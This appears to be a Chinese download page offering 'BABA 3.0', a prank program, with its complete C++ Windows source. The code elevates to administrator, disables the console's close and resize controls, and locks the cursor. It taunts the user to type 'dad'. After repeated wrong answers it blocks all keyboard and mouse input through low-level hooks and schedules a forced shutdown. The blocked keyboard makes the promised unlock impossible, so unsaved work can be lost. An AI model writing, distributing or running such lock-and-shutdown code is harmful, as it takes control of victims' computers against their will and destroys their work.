下载链接:BABA 3.0

源代码
#include <iostream>
#include <string>
#include <cstdlib>
#include <cstring>
#include <windows.h>
#include <shellapi.h>
#include <conio.h>

using namespace std;

HHOOK g_hKeyboardHook = NULL;
HHOOK g_mouseHook = NULL;
int cnt = 0, ccnt = 0;
RECT g_lockRect;
bool g_isLocked = true;

bool ElevateToAdmin();
bool IsUserAdmin();
void PreventMinimizeMaximize();
LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam);
bool InstallMouseHook();
void UninstallMouseHook();
void print();
void DisableCloseButton();
void LockMouseAtCurrentPosition();
void UnlockMouse();
bool IsRunAsAdmin();
LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam);
BOOL InstallKeyboardHook();
void UninstallKeyboardHook();
void RunMessageLoop();

bool ElevateToAdmin() {
    wchar_t szPath[MAX_PATH];
    if (!GetModuleFileNameW(NULL, szPath, ARRAYSIZE(szPath)))
        return false;

    SHELLEXECUTEINFOW sei;
    ZeroMemory(&sei, sizeof(SHELLEXECUTEINFOW));
    sei.cbSize = sizeof(SHELLEXECUTEINFOW);
    sei.lpVerb = L"runas";
    sei.lpFile = szPath;
    sei.hwnd = NULL;
    sei.nShow = SW_NORMAL;

    if (ShellExecuteExW(&sei))
        return true;
    return false;
}

bool IsUserAdmin() {
    HANDLE hToken = NULL;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
        return false;

    TOKEN_ELEVATION elevation;
    DWORD dwSize;
    BOOL ret = false;
    if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
        ret = (elevation.TokenIsElevated != 0);
    }
    CloseHandle(hToken);
    return ret;
}

void PreventMinimizeMaximize() {
    HWND hwnd = GetConsoleWindow();
    if (!hwnd) return;

    LONG_PTR style = GetWindowLongPtr(hwnd, GWL_STYLE);
    style &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX | WS_THICKFRAME);
    SetWindowLongPtr(hwnd, GWL_STYLE, style);

    HMENU hMenu = GetSystemMenu(hwnd, FALSE);
    if (hMenu) {
        DeleteMenu(hMenu, SC_MINIMIZE, MF_BYCOMMAND);
        DeleteMenu(hMenu, SC_MAXIMIZE, MF_BYCOMMAND);
        DeleteMenu(hMenu, SC_RESTORE, MF_BYCOMMAND);
        DeleteMenu(hMenu, SC_SIZE, MF_BYCOMMAND);
        DrawMenuBar(hwnd);
    }
    SetWindowPos(hwnd, NULL, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED);
}

LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0 && g_isLocked) {
        if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN
            || wParam == WM_MBUTTONDOWN || wParam == WM_XBUTTONDOWN) {
            cout << "阻止了鼠标点击" << endl;
            return 1;
        }
    }
    return CallNextHookEx(g_mouseHook, nCode, wParam, lParam);
}

bool InstallMouseHook() {
    g_mouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseHookProc, GetModuleHandle(NULL), 0);
    if (g_mouseHook == NULL) {
        cerr << "安装鼠标钩子失败!错误代码: " << GetLastError() << endl;
        return false;
    }
    return true;
}

void UninstallMouseHook() {
    if (g_mouseHook != NULL) {
        UnhookWindowsHookEx(g_mouseHook);
        g_mouseHook = NULL;
    }
}

void DisableCloseButton() {
    HWND hwnd = GetConsoleWindow();
    if (!hwnd) return;
    HMENU hMenu = GetSystemMenu(hwnd, FALSE);
    if (hMenu) {
        DeleteMenu(hMenu, SC_CLOSE, MF_BYCOMMAND);
        DrawMenuBar(hwnd);
    }
}

void LockMouseAtCurrentPosition() {
    POINT currentPos;
    if (!GetCursorPos(&currentPos)) return;

    g_lockRect.left = currentPos.x;
    g_lockRect.right = currentPos.x + 1;
    g_lockRect.top = currentPos.y;
    g_lockRect.bottom = currentPos.y + 1;

    if (!ClipCursor(&g_lockRect)) {
        cerr << "锁定鼠标失败!错误代码: " << GetLastError() << endl;
    }
}

void UnlockMouse() {
    ClipCursor(NULL);
    g_isLocked = false;
}

bool IsRunAsAdmin() {
    BOOL isAdmin = FALSE;
    HANDLE hToken = NULL;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION elevation;
        DWORD size = sizeof(TOKEN_ELEVATION);
        if (GetTokenInformation(hToken, TokenElevation, &elevation, size, &size)) {
            isAdmin = elevation.TokenIsElevated;
        }
        CloseHandle(hToken);
    }
    return (isAdmin == TRUE);
}

LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        return 1;
    }
    return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}

BOOL InstallKeyboardHook() {
    g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProc, GetModuleHandle(NULL), 0);
    if (g_hKeyboardHook == NULL) {
        cerr << "安装键盘钩子失败!错误码:" << GetLastError() << endl;
        return FALSE;
    }
    return TRUE;
}

void UninstallKeyboardHook() {
    if (g_hKeyboardHook != NULL) {
        UnhookWindowsHookEx(g_hKeyboardHook);
        g_hKeyboardHook = NULL;
    }
}

void RunMessageLoop() {
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0) > 0) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
}

void print() {
    system("title 叫爸爸!");
    string input;
    cout << "叫100次爸爸就放过你一次!" << endl;

    while (true) {
        getline(cin, input);

        if (input == "爸爸" || input == "dad") {
            cnt++;
            cout << "好!不错不错,现在叫了" << cnt << "次" << endl;
            system("shutdown -a");
            UninstallKeyboardHook();
            UninstallMouseHook();
            UnlockMouse();
            system("pause");
            break;
        }
        else {
            ccnt++;
            if (ccnt == 15) {
                cout << "这就是代价!(键盘鼠标将被拦截,61秒后关机)" << endl;
                system("shutdown -s -t 61");
                InstallMouseHook();
                InstallKeyboardHook();
                LockMouseAtCurrentPosition();
                MessageBox(NULL, "现在输入正确内容即可解除锁定并取消关机", "警告", MB_OK);
                ccnt = 0;
            }
            else {
                MessageBox(NULL, "快点叫,不然你的电脑就完了", "警告", MB_OK);
            }
        }
    }
}

int main(int argc, char* argv[]) {
    if (!IsUserAdmin()) {
        cout << "需要管理员权限,正在请求提升..." << endl;
        if (ElevateToAdmin()) {
            return 0;
        }
        else {
            DWORD error = GetLastError();
            if (error == ERROR_CANCELLED)
                cout << "用户拒绝了权限请求。" << endl;
            else
                cout << "权限提升失败,错误码: " << error << endl;
            return 1;
        }
    }

    PreventMinimizeMaximize();
    HWND consoleWindow = GetConsoleWindow();
    ShowWindow(consoleWindow, SW_MAXIMIZE);
    DisableCloseButton();
    LockMouseAtCurrentPosition();

    print();

    UninstallKeyboardHook();
    UninstallMouseHook();
    UnlockMouse();

    RunMessageLoop();

    return 0;
}